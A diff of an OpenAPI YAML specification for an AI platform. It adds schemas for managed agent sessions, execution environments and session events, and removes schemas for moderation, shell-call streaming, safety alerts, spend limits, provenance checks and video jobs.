+ programmatic_tool_calling: '#/components/schemas/AgentToolConfigParamProgrammaticToolCalling'
+ mcp: '#/components/schemas/AgentToolConfigParamMcp'
+ web_search: '#/components/schemas/AgentToolConfigParamWebSearch'
+ x-oai-discriminator-values:
+ - function
+ - tool_search
+ - programmatic_tool_calling
+ - mcp
+ - web_search
+ anyOf:
+ - $ref: '#/components/schemas/AgentToolConfigParamFunction'
+ - $ref: '#/components/schemas/AgentToolConfigParamToolSearch'
+ - $ref: '#/components/schemas/AgentToolConfigParamProgrammaticToolCalling'
+ - $ref: '#/components/schemas/AgentToolConfigParamMcp'
+ - $ref: '#/components/schemas/AgentToolConfigParamWebSearch'
+ SessionAgentConfigParam:
+ type: object
+ properties:
+ model:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The model to use for the agent. The requested model name is preserved.
+ reasoning:
+ anyOf:
+ - $ref: '#/components/schemas/ReasoningParam'
+ - type: 'null'
+ description: Configuration for model reasoning. Omit to keep the current settings; pass `null` to reset to the model's default effort.
+ text:
+ anyOf:
+ - $ref: '#/components/schemas/TextParam'
+ - type: 'null'
+ description: Configuration for text generated by the agent.
+ service_tier:
+ anyOf:
+ - $ref: '#/components/schemas/ServiceTierParam'
+ - type: 'null'
+ description: The service tier used for model requests.
+ instructions:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Additional instructions appended to the agent's default base instructions. Omit to leave unchanged.
+ multi_agent:
+ anyOf:
+ - $ref: '#/components/schemas/MultiAgentConfigCurrentParam'
+ - type: 'null'
+ description: Configuration for creating and coordinating subagents.
+ tools:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/AgentToolConfigParam'
+ minItems: 0
+ maxItems: 16384
+ description: Tools available to the agent. Omit to inherit, or pass null to clear them.
+ additionalProperties: false
+ description: Agent configuration for a session. Omitted fields inherit from `agent_id` when supplied. Supplied objects and arrays replace the whole field; null resets nullable fields.
+ EnvironmentParamNone:
+ type: object
properties:
type:
type: string
enum:
- - unavailable
- default: unavailable
+ - none
+ default: none
x-stainless-const: true
- type: object
+ description: The type of the object. Always `none`.
required:
- type
- PromptCacheDiagnostics:
- discriminator:
- propertyName: type
- description: Prompt cache diagnostics requested for this response.
- anyOf:
- - $ref: '#/components/schemas/PromptCacheMissDiagnosticsBody'
- - $ref: '#/components/schemas/PromptCacheHitDiagnosticsBody'
- - $ref: '#/components/schemas/PromptCacheComparisonResponseNotFoundDiagnosticsBody'
- - $ref: '#/components/schemas/PromptCacheUnavailableDiagnosticsBody'
- ModerationErrorBody:
+ additionalProperties: false
+ description: Runs the agent without an execution environment.
+ EnvironmentParamOpenaiHosted:
+ type: object
properties:
type:
type: string
enum:
- - error
- description: The object type, which was always `error` for moderation failures.
- default: error
+ - openai_hosted
+ default: openai_hosted
x-stainless-const: true
- code:
- type: string
- description: The error code.
- message:
- type: string
- description: The error message.
- type: object
- required:
- - type
- - code
- - message
- title: Moderation error
- description: An error produced while attempting moderation for the response input or output.
- Moderation:
- properties:
- input:
- discriminator:
- propertyName: type
- description: Moderation for the response input.
+ description: The type of the object. Always `openai_hosted`.
+ packages:
anyOf:
- - $ref: '#/components/schemas/ModerationResultBody'
- - $ref: '#/components/schemas/ModerationErrorBody'
- output:
- discriminator:
- propertyName: type
- description: Moderation for the response output.
+ - $ref: '#/components/schemas/EnvironmentPackagesParam'
+ - type: 'null'
+ description: Packages to install in the environment. Defaults to empty package lists.
+ setup_commands:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/SetupCommandParam'
+ minItems: 0
+ maxItems: 16
+ description: Ordered, confidential setup commands. Command bodies are never returned.
+ network:
anyOf:
- - $ref: '#/components/schemas/ModerationResultBody'
- - $ref: '#/components/schemas/ModerationErrorBody'
- type: object
- required:
- - input
- - output
- title: Moderation
- description: Moderation results or errors for the response input and output.
- ResponseConversation:
- properties:
- id:
+ - $ref: '#/components/schemas/NetworkPolicyParam'
+ - type: 'null'
+ description: Network access policy for the environment. Defaults to enabled.
+ env:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Environment variables made available to the agent.
+ capability_directories:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Directories that contain capabilities exposed to the agent. Defaults to an empty list.
+ skills:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedSkillParam'
+ minItems: 0
+ maxItems: 200
+ description: Skills referenced by ID or provided as inline ZIP archives. Defaults to an empty list.
+ plugins:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedPluginParam'
+ minItems: 0
+ maxItems: 32
+ description: Plugins provided as inline ZIP archives. Defaults to an empty list.
+ files:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedEnvironmentFileParam'
+ minItems: 0
+ maxItems: 50
+ description: Files available before the agent starts. Defaults to an empty list.
+ environment_template_id:
type: string
- description: The unique ID of the conversation that this response was associated with.
- type: object
+ minLength: 0
+ maxLength: 64
+ description: A reusable hosted template applied before inline session configuration. Omitted fields inherit the template; network overrides cannot broaden its policy.
required:
- - id
- title: Conversation
- description: The conversation that this response belonged to. Input items and output items from this response were automatically added to this conversation.
- ResponseShellCallCommandAddedStreamingEvent:
+ - type
+ additionalProperties: false
+ description: An OpenAI-hosted environment, optionally based on a reusable template.
+ EnvironmentParamSelfHosted:
+ type: object
properties:
type:
type: string
enum:
- - response.shell_call_command.added
- description: The type of the event, always `response.shell_call_command.added`.
- default: response.shell_call_command.added
+ - self_hosted
+ default: self_hosted
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of the event that was emitted.
- output_index:
- type: integer
- description: The index of the output item that was updated.
- command_index:
- type: integer
- description: The index of the shell command that was added.
- command:
+ description: The type of the object. Always `self_hosted`.
+ workspace_directory:
type: string
- description: The shell command that was added.
- type: object
+ minLength: 0
+ maxLength: 1048576
+ description: Absolute project directory inside the self-hosted environment.
+ capability_directories:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Directories that contain capabilities exposed to the agent. Defaults to an empty list.
required:
- type
- - sequence_number
- - output_index
- - command_index
- - command
- title: Response shell command added event
- description: A streaming event that indicated a shell command was added to a tool call.
- ResponseShellCallCommandDeltaStreamingEvent:
+ - workspace_directory
+ additionalProperties: false
+ description: An application-hosted environment configured inline.
+ EnvironmentParam:
+ description: The execution environment and optional reusable template for a session.
+ discriminator:
+ propertyName: type
+ mapping:
+ none: '#/components/schemas/EnvironmentParamNone'
+ openai_hosted: '#/components/schemas/EnvironmentParamOpenaiHosted'
+ self_hosted: '#/components/schemas/EnvironmentParamSelfHosted'
+ x-oai-discriminator-values:
+ - none
+ - openai_hosted
+ - self_hosted
+ anyOf:
+ - $ref: '#/components/schemas/EnvironmentParamNone'
+ - $ref: '#/components/schemas/EnvironmentParamOpenaiHosted'
+ - $ref: '#/components/schemas/EnvironmentParamSelfHosted'
+ InputContentParamInputText:
+ type: object
properties:
type:
type: string
enum:
- - response.shell_call_command.delta
- description: The type of the event, always `response.shell_call_command.delta`.
- default: response.shell_call_command.delta
+ - input_text
+ default: input_text
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of the event that was emitted.
- output_index:
- type: integer
- description: The index of the output item that was updated.
- command_index:
- type: integer
- description: The index of the shell command that was updated.
- delta:
- type: string
- description: The shell command delta that was appended.
- obfuscation:
+ description: The type of the object. Always `input_text`.
+ text:
type: string
- description: An obfuscation string that was added to pad the event payload.
- type: object
+ minLength: 0
+ maxLength: 1048576
+ description: The text sent to the model.
required:
- type
- - sequence_number
- - output_index
- - command_index
- - delta
- title: Response shell command delta event
- description: A streaming event that indicated a shell command was incrementally updated.
- ResponseShellCallCommandDoneStreamingEvent:
+ - text
+ additionalProperties: false
+ description: Text input to the model.
+ InputContentParamInputImage:
+ type: object
properties:
type:
type: string
enum:
- - response.shell_call_command.done
- description: The type of the event, always `response.shell_call_command.done`.
- default: response.shell_call_command.done
+ - input_image
+ default: input_image
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of the event that was emitted.
- output_index:
- type: integer
- description: The index of the output item that was updated.
- command_index:
- type: integer
- description: The index of the shell command that was completed.
- command:
+ description: The type of the object. Always `input_image`.
+ image_url:
type: string
- description: The final shell command that was emitted.
- type: object
+ minLength: 0
+ maxLength: 1048576
+ description: The URL of the image sent to the model.
required:
- type
- - sequence_number
- - output_index
- - command_index
- - command
- title: Response shell command done event
- description: A streaming event that indicated a shell command was completed.
- ShellCallOutputDelta:
- properties:
- stdout:
- type: string
- description: The stdout delta that was emitted.
- stderr:
- type: string
- description: The stderr delta that was emitted.
+ - image_url
+ additionalProperties: false
+ description: Image input to the model.
+ InputContentParam:
+ description: Content included in an input message.
+ discriminator:
+ propertyName: type
+ mapping:
+ input_text: '#/components/schemas/InputContentParamInputText'
+ input_image: '#/components/schemas/InputContentParamInputImage'
+ x-oai-discriminator-values:
+ - input_text
+ - input_image
+ anyOf:
+ - $ref: '#/components/schemas/InputContentParamInputText'
+ - $ref: '#/components/schemas/InputContentParamInputImage'
+ InputMessageParam:
type: object
- required: []
- title: Shell call output delta
- description: A delta of stdout/stderr emitted while a shell call was running.
- ResponseShellCallOutputContentDeltaStreamingEvent:
properties:
type:
type: string
enum:
- - response.shell_call_output_content.delta
- description: The type of the event, always `response.shell_call_output_content.delta`.
- default: response.shell_call_output_content.delta
+ - message
+ default: message
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of the event that was emitted.
- item_id:
- type: string
- description: The ID of the output item that was updated.
- output_index:
- type: integer
- description: The index of the output item that was updated.
- command_index:
- type: integer
- description: The index of the shell command that produced output.
- delta:
- $ref: '#/components/schemas/ShellCallOutputDelta'
- description: The stdout/stderr delta that was emitted.
- type: object
- required:
- - type
- - sequence_number
- - item_id
- - output_index
- - command_index
- - delta
- title: Response shell call output content delta event
- description: A streaming event that indicated shell call output was incrementally added.
- ResponseShellCallOutputContentDoneStreamingEvent:
- properties:
- type:
+ description: The type of the input item. Always `message`.
+ role:
type: string
enum:
- - response.shell_call_output_content.done
- description: The type of the event, always `response.shell_call_output_content.done`.
- default: response.shell_call_output_content.done
+ - user
+ default: user
x-stainless-const: true
- sequence_number:
- type: integer
- description: The sequence number of the event that was emitted.
- item_id:
- type: string
- description: The ID of the output item that was updated.
- output_index:
- type: integer
- description: The index of the output item that was updated.
- command_index:
- type: integer
- description: The index of the shell command that produced output.
- output:
- items:
- $ref: '#/components/schemas/FunctionShellCallOutputContent'
+ description: The role of the message author. Always `user`.
+ content:
type: array
- description: The output contents emitted for the shell command.
- type: object
+ items:
+ $ref: '#/components/schemas/InputContentParam'
+ minItems: 0
+ maxItems: 16384
+ description: The content of the message.
required:
- - type
- - sequence_number
- - item_id
- - output_index
- - command_index
- - output
- title: Response shell call output content done event
- description: A streaming event that indicated shell call output was completed.
- CreateConversationBody:
+ - role
+ - content
+ additionalProperties: false
+ description: A user message submitted to a session.
+ CreateSessionInputParam:
+ description: Initial input submitted when creating a session.
+ anyOf:
+ - type: string
+ minLength: 1
+ maxLength: 1048576
+ - type: array
+ items:
+ $ref: '#/components/schemas/InputMessageParam'
+ minItems: 0
+ maxItems: 16384
+ CreateAgentSessionParams:
+ type: object
properties:
metadata:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 512
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 64
+ minProperties: 0
+ maxProperties: 16
+ description: Up to 16 string key-value pairs, with keys up to 64 and values up to 512 characters. Omission or null defaults to an empty map.
+ agent:
+ $ref: '#/components/schemas/SessionAgentConfigParam'
+ description: Agent configuration. With `agent_id`, supplied fields override the saved agent for this session. Without `agent_id`, `model` is required.
+ agent_id:
+ type: string
+ minLength: 0
+ maxLength: 64
+ description: The ID of a saved reusable agent. Omit `agent` to use its configuration unchanged.
+ environment:
+ $ref: '#/components/schemas/EnvironmentParam'
+ description: An inline execution environment or a reference to an environment template.
+ vault_ids:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: The IDs of vaults made available to the session.
+ input:
anyOf:
- - $ref: '#/components/schemas/Metadata'
- description: |-
- Set of 16 key-value pairs that can be attached to an object. This can be useful for storing additional information about the object in a structured format, and querying for objects via API or the dashboard.
- Keys are strings with a maximum length of 64 characters. Values are strings with a maximum length of 512 characters.
- - type: 'null'
- items:
- anyOf:
- - items:
- $ref: '#/components/schemas/InputItem'
- type: array
- maxItems: 20
- description: Initial items to include in the conversation context. You may add up to 20 items at a time.
+ - $ref: '#/components/schemas/CreateSessionInputParam'
- type: 'null'
+ description: Initial input to submit when the session is created. A string is shorthand for a single user message. Required when `environment.type` is `none`, or when `stream` is `true` for an environment that is not `self_hosted`; optional for self-hosted and non-streaming execution environments.
+ stream:
+ type: boolean
+ default: false
+ description: Whether to stream session events as server-sent events. Defaults to `false`.
+ required:
+ - environment
+ additionalProperties: false
+ description: Parameters for creating a Managed Agents session.
+ SessionErrorResource:
type: object
- required: []
- UpdateConversationBody:
properties:
- metadata:
- $ref: '#/components/schemas/Metadata'
- description: |-
- Set of 16 key-value pairs that can be attached to an object. This can be useful for storing additional information about the object in a structured format, and querying for objects via API or the dashboard.
- Keys are strings with a maximum length of 64 characters. Values are strings with a maximum length of 512 characters.
- type: object
+ type:
+ type: string
+ minLength: 0
+ description: The error type.
+ code:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The machine-readable error code, if any.
+ message:
+ type: string
+ minLength: 0
+ description: A customer-safe explanation of the error.
+ param:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The request parameter associated with the error, if any.
required:
- - metadata
- DeletedConversationResource:
+ - type
+ - code
+ - message
+ - param
+ additionalProperties: false
+ description: An error payload with the same public fields as Responses API streaming errors.
+ SessionEventError:
+ type: object
properties:
- object:
+ type:
type: string
enum:
- - conversation.deleted
- default: conversation.deleted
+ - error
+ default: error
x-stainless-const: true
- deleted:
- type: boolean
- id:
+ description: The type of the object. Always `error`.
+ event_id:
type: string
- type: object
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ error:
+ $ref: '#/components/schemas/SessionErrorResource'
+ description: The error that occurred.
required:
- - object
- - deleted
- - id
- SafetyAlertErrorType:
+ - type
+ - event_id
+ - session_id
+ - error
+ additionalProperties: false
+ description: Emitted when a turn or session fails.
+ x-oaiMeta:
+ example:
+ type: error
+ event_id: event_123
+ session_id: sess_123
+ error:
+ type: server_error
+ code: null
+ message: The session failed due to an internal server error.
+ param: null
+ SessionEnvironmentStatusResource:
type: string
enum:
- - potentially_unintended_data_transfer
- - potentially_unintended_data_access
- - potentially_unintended_destructive_activity
- - other
- SafetyAlertResource:
+ - pending
+ - ready
+ - connected
+ - disconnected
+ - failed
+ x-enumDescriptions:
+ - The environment is being prepared.
+ - The environment is ready to connect.
+ - The environment is connected.
+ - The environment is disconnected.
+ - The environment failed to connect.
+ description: The connection status of a session environment.
+ SessionEnvironmentErrorResource:
+ type: object
properties:
- id:
+ type:
type: string
- object:
+ minLength: 0
+ description: The error type.
+ code:
type: string
- enum:
- - safety.alert
- default: safety.alert
- x-stainless-const: true
- created_at:
- type: integer
- format: unixtime
- request_id:
+ minLength: 0
+ description: A machine-readable error code.
+ message:
type: string
- response_id:
+ minLength: 0
+ description: A human-readable error message.
+ required:
+ - type
+ - code
+ - message
+ additionalProperties: false
+ description: An error reported while preparing a session environment.
+ SessionEnvironmentStateResource:
+ type: object
+ properties:
+ id:
type: string
- model:
+ minLength: 0
+ description: The public ID of the environment.
+ type:
type: string
- request_paused:
- type: boolean
- description: Whether block registration succeeded for this request. This does not confirm that response execution stopped.
- error_type:
- $ref: '#/components/schemas/SafetyAlertErrorType'
- reason:
+ minLength: 0
+ description: The environment type.
+ status:
+ $ref: '#/components/schemas/SessionEnvironmentStatusResource'
+ description: The environment's connection status.
+ error:
anyOf:
- - type: string
- description: A customer-safe description derived from error_type, or null for zero data retention requests.
+ - $ref: '#/components/schemas/SessionEnvironmentErrorResource'
- type: 'null'
- type: object
+ description: The error reported while preparing the environment, if any.
required:
- id
- - object
- - created_at
- - request_id
- - response_id
- - model
- - request_paused
- - error_type
- - reason
- SpendLimitCurrency:
- anyOf:
- - type: string
- - type: string
- enum:
- - USD
- SpendLimitInterval:
- anyOf:
- - type: string
- - type: string
- enum:
- - month
- SpendLimitEnforcementStatus:
- anyOf:
- - type: string
- - type: string
- enum:
- - inactive
- - enforcing
- SpendLimitEnforcement:
- properties:
- status:
- $ref: '#/components/schemas/SpendLimitEnforcementStatus'
- description: Whether the hard spend limit is currently enforcing.
- type: object
- required:
+ - type
- status
- description: The current enforcement state of a hard spend limit.
- OrganizationSpendLimitResource:
- properties:
- object:
- type: string
- enum:
- - organization.spend_limit
- description: The object type, which is always `organization.spend_limit`.
- default: organization.spend_limit
- x-stainless-const: true
- threshold_amount:
- type: integer
- description: The hard spend limit amount, in cents.
- currency:
- $ref: '#/components/schemas/SpendLimitCurrency'
- description: The currency for the threshold amount. Currently, only `USD` is supported.
- interval:
- $ref: '#/components/schemas/SpendLimitInterval'
- description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
- enforcement:
- $ref: '#/components/schemas/SpendLimitEnforcement'
- description: The current enforcement state of the hard spend limit.
+ - error
+ additionalProperties: false
+ description: The current state of a session environment.
+ SessionEventAgentSessionEnvironmentReady:
type: object
- required:
- - object
- - threshold_amount
- - currency
- - interval
- - enforcement
- description: Represents a hard spend limit configured at the organization level.
- UpdateOrganizationSpendLimitBody:
properties:
- threshold_amount:
- type: integer
- minimum: 1
- description: The hard spend limit amount, in cents.
- currency:
+ type:
type: string
enum:
- - USD
- description: The currency for the threshold amount. Currently, only `USD` is supported.
- interval:
+ - agent.session.environment.ready
+ default: agent.session.environment.ready
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.environment.ready`.
+ event_id:
type: string
- enum:
- - month
- description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
- type: object
- required:
- - threshold_amount
- - currency
- - interval
- description: Parameters for the hard spend limit you want to create or replace.
- OrganizationSpendLimitDeletedResource:
- properties:
- object:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
type: string
- enum:
- - organization.spend_limit.deleted
- description: The object type, which is always `organization.spend_limit.deleted`.
- default: organization.spend_limit.deleted
- x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the hard spend limit was deleted.
- type: object
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ environment:
+ $ref: '#/components/schemas/SessionEnvironmentStateResource'
+ description: The current environment state.
required:
- - object
- - deleted
- description: Confirmation payload returned after deleting an organization hard spend limit.
- ProjectSpendLimitResource:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - environment
+ additionalProperties: false
+ description: Emitted when a hosted session environment is ready to connect.
+ SessionEventAgentOutputCommandExecutionOutputDelta:
+ type: object
properties:
- object:
+ type:
type: string
enum:
- - project.spend_limit
- description: The object type, which is always `project.spend_limit`.
- default: project.spend_limit
+ - agent.output.command_execution_output.delta
+ default: agent.output.command_execution_output.delta
x-stainless-const: true
- threshold_amount:
+ description: The type of the object. Always `agent.output.command_execution_output.delta`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the command execution item.
+ output_index:
type: integer
- description: The hard spend limit amount, in cents.
- currency:
- $ref: '#/components/schemas/SpendLimitCurrency'
- description: The currency for the threshold amount. Currently, only `USD` is supported.
- interval:
- $ref: '#/components/schemas/SpendLimitInterval'
- description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
- enforcement:
- $ref: '#/components/schemas/SpendLimitEnforcement'
- description: The current enforcement state of the hard spend limit.
- type: object
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ delta:
+ type: string
+ minLength: 0
+ description: The output text that was appended.
required:
- - object
- - threshold_amount
- - currency
- - interval
- - enforcement
- description: Represents a hard spend limit configured at the project level.
- UpdateProjectSpendLimitBody:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - delta
+ additionalProperties: false
+ description: Emitted when command execution produces an output delta.
+ SessionEventAgentSessionCreated:
+ type: object
properties:
- threshold_amount:
- type: integer
- minimum: 1
- description: The hard spend limit amount, in cents.
- currency:
+ type:
type: string
enum:
- - USD
- description: The currency for the threshold amount. Currently, only `USD` is supported.
- interval:
+ - agent.session.created
+ default: agent.session.created
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.created`.
+ event_id:
type: string
- enum:
- - month
- description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
- type: object
+ minLength: 0
+ description: The unique ID of the event.
+ session:
+ $ref: '#/components/schemas/SessionResource'
+ description: The session that was created.
required:
- - threshold_amount
- - currency
- - interval
- description: Parameters for the hard spend limit you want to create or replace.
- ProjectSpendLimitDeletedResource:
+ - type
+ - event_id
+ - session
+ additionalProperties: false
+ description: Emitted when a session is created.
+ SessionEventAgentSessionTurnCreated:
+ type: object
properties:
- object:
+ type:
type: string
enum:
- - project.spend_limit.deleted
- description: The object type, which is always `project.spend_limit.deleted`.
- default: project.spend_limit.deleted
+ - agent.session.turn.created
+ default: agent.session.turn.created
x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the hard spend limit was deleted.
- type: object
- required:
- - object
- - deleted
- description: Confirmation payload returned after deleting a project hard spend limit.
- CreateProjectServiceAccountApiKeyBody:
- properties:
- name:
+ description: The type of the object. Always `agent.session.turn.created`.
+ event_id:
type: string
- description: API key name.
- scopes:
- items:
- type: string
- description: API key scope.
- type: array
- description: API key scopes.
- expires_in_seconds:
- anyOf:
- - type: integer
- maximum: 31536000
- minimum: 1
- description: Number of seconds until the API key expires.
- - type: 'null'
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn associated with the event.
+ turn:
+ $ref: '#/components/schemas/TurnResource'
+ description: The turn at the time it was created.
+ required:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - turn
+ additionalProperties: false
+ description: Emitted when a turn is created.
+ SessionEventAgentSessionTurnInProgress:
type: object
- required: []
- description: The service account API key create request payload.
- ServiceAccountApiKeyBody:
properties:
- object:
+ type:
type: string
enum:
- - organization.project.service_account.api_key
- description: The object type, which is always `organization.project.service_account.api_key`
- default: organization.project.service_account.api_key
+ - agent.session.turn.in_progress
+ default: agent.session.turn.in_progress
x-stainless-const: true
- value:
+ description: The type of the object. Always `agent.session.turn.in_progress`.
+ event_id:
type: string
- description: The unredacted API key value.
- name:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
type: string
- description: The name of the API key.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) when the API key was created.
- expires_at:
- anyOf:
- - type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
- - type: 'null'
- id:
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
type: string
- description: The identifier of the API key.
- type: object
+ minLength: 0
+ description: The ID of the turn associated with the event.
+ turn:
+ $ref: '#/components/schemas/TurnResource'
+ description: The turn at the time it started running.
required:
- - object
- - value
- - name
- - created_at
- - id
- CreateContentProvenanceBody:
- properties:
- file:
- type: string
- format: binary
- description: The image or audio file to check for supported OpenAI provenance signals.
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - turn
+ additionalProperties: false
+ description: Emitted when a turn starts running.
+ SessionEventAgentSessionTurnCompleted:
type: object
- required:
- - file
- ProvenanceCheckObject:
- type: string
- enum:
- - content_provenance_check
- ProvenanceDetectionResultApi:
- type: string
- enum:
- - detected
- - not_detected
- C2PAValidationStateApi:
- type: string
- enum:
- - trusted
- - valid
- - invalid
- - not_present
- C2PAProvenanceResult:
properties:
type:
type: string
enum:
- - c2pa
- description: The provenance signal type. Always `c2pa`.
- default: c2pa
+ - agent.session.turn.completed
+ default: agent.session.turn.completed
x-stainless-const: true
- outcome:
- $ref: '#/components/schemas/ProvenanceDetectionResultApi'
- description: |-
- Whether a supported OpenAI C2PA provenance signal was detected.
- If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
- validation_state:
- $ref: '#/components/schemas/C2PAValidationStateApi'
- description: The validation status of the C2PA manifest in the uploaded image.
- issuer:
- anyOf:
- - type: string
- description: The C2PA manifest issuer, when available.
- - type: 'null'
- model:
- anyOf:
- - type: string
- description: The OpenAI model recorded by the provenance signal, when available.
- - type: 'null'
- generated_at:
+ description: The type of the object. Always `agent.session.turn.completed`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn associated with the event.
+ turn:
+ $ref: '#/components/schemas/TurnResource'
+ description: The completed turn.
+ usage:
anyOf:
- - type: string
- description: The UTC RFC 3339 timestamp recorded by the provenance signal for when the asset was generated, when available.
+ - $ref: '#/components/schemas/TokenUsageResource'
- type: 'null'
- type: object
+ description: Token usage by the root agent during the turn, when available.
required:
- type
- - outcome
- - validation_state
- - issuer
- - model
- - generated_at
- SynthIDProvenanceResult:
+ - event_id
+ - session_id
+ - turn_id
+ - turn
+ - usage
+ additionalProperties: false
+ description: Emitted when a turn completes.
+ SessionEventAgentSessionTurnFailed:
+ type: object
properties:
type:
type: string
enum:
- - synthid
- description: The provenance signal type. Always `synthid`.
- default: synthid
+ - agent.session.turn.failed
+ default: agent.session.turn.failed
x-stainless-const: true
- outcome:
- $ref: '#/components/schemas/ProvenanceDetectionResultApi'
- description: |-
- Whether a supported OpenAI SynthID watermark was detected.
- If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
- model:
- anyOf:
- - type: string
- description: The OpenAI model recorded by the provenance signal, when available.
- - type: 'null'
- generated_at:
+ description: The type of the object. Always `agent.session.turn.failed`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn associated with the event.
+ turn:
+ $ref: '#/components/schemas/TurnResource'
+ description: The failed turn.
+ usage:
anyOf:
- - type: string
- description: The UTC RFC 3339 timestamp recorded by the provenance signal for when the asset was generated, when available.
+ - $ref: '#/components/schemas/TokenUsageResource'
- type: 'null'
- type: object
+ description: Token usage by the root agent during the turn, when available.
required:
- type
- - outcome
- - model
- - generated_at
- ProvenanceResource:
- properties:
- object:
- $ref: '#/components/schemas/ProvenanceCheckObject'
- description: The object type. Always `content_provenance_check` for this endpoint.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp, in seconds, when the provenance check was created.
- results:
- items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/C2PAProvenanceResult'
- - $ref: '#/components/schemas/SynthIDProvenanceResult'
- type: array
- description: The provenance results that apply to the uploaded file. Image results include C2PA and SynthID; audio results include SynthID.
+ - event_id
+ - session_id
+ - turn_id
+ - turn
+ - usage
+ additionalProperties: false
+ description: Emitted when a turn fails.
+ SessionEventAgentSessionTurnCancelled:
type: object
- required:
- - object
- - created_at
- - results
- OrderEnum:
- type: string
- enum:
- - asc
- - desc
- VideoModel:
- anyOf:
- - type: string
- - type: string
- enum:
- - sora-2
- - sora-2-pro
- - sora-2-2025-10-06
- - sora-2-pro-2025-10-06
- - sora-2-2025-12-08
- VideoStatus:
- type: string
- enum:
- - queued
- - in_progress
- - completed
- - failed
- VideoSize:
- type: string
- enum:
- - 720x1280
- - 1280x720
- - 1024x1792
- - 1792x1024
- Error-2:
properties:
- code:
+ type:
type: string
- description: A machine-readable error code that was returned.
- message:
+ enum:
+ - agent.session.turn.cancelled
+ default: agent.session.turn.cancelled
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.turn.cancelled`.
+ event_id:
type: string
- description: A human-readable description of the error that was returned.
- misalignment:
- $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
- type: object
- required:
- - code
- - message
- title: Error
- description: An error that occurred while generating the response.
- VideoResource:
- properties:
- id:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
type: string
- description: Unique identifier for the video job.
- object:
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
type: string
- enum:
- - video
- description: The object type, which is always `video`.
- default: video
- x-stainless-const: true
- model:
- $ref: '#/components/schemas/VideoModel'
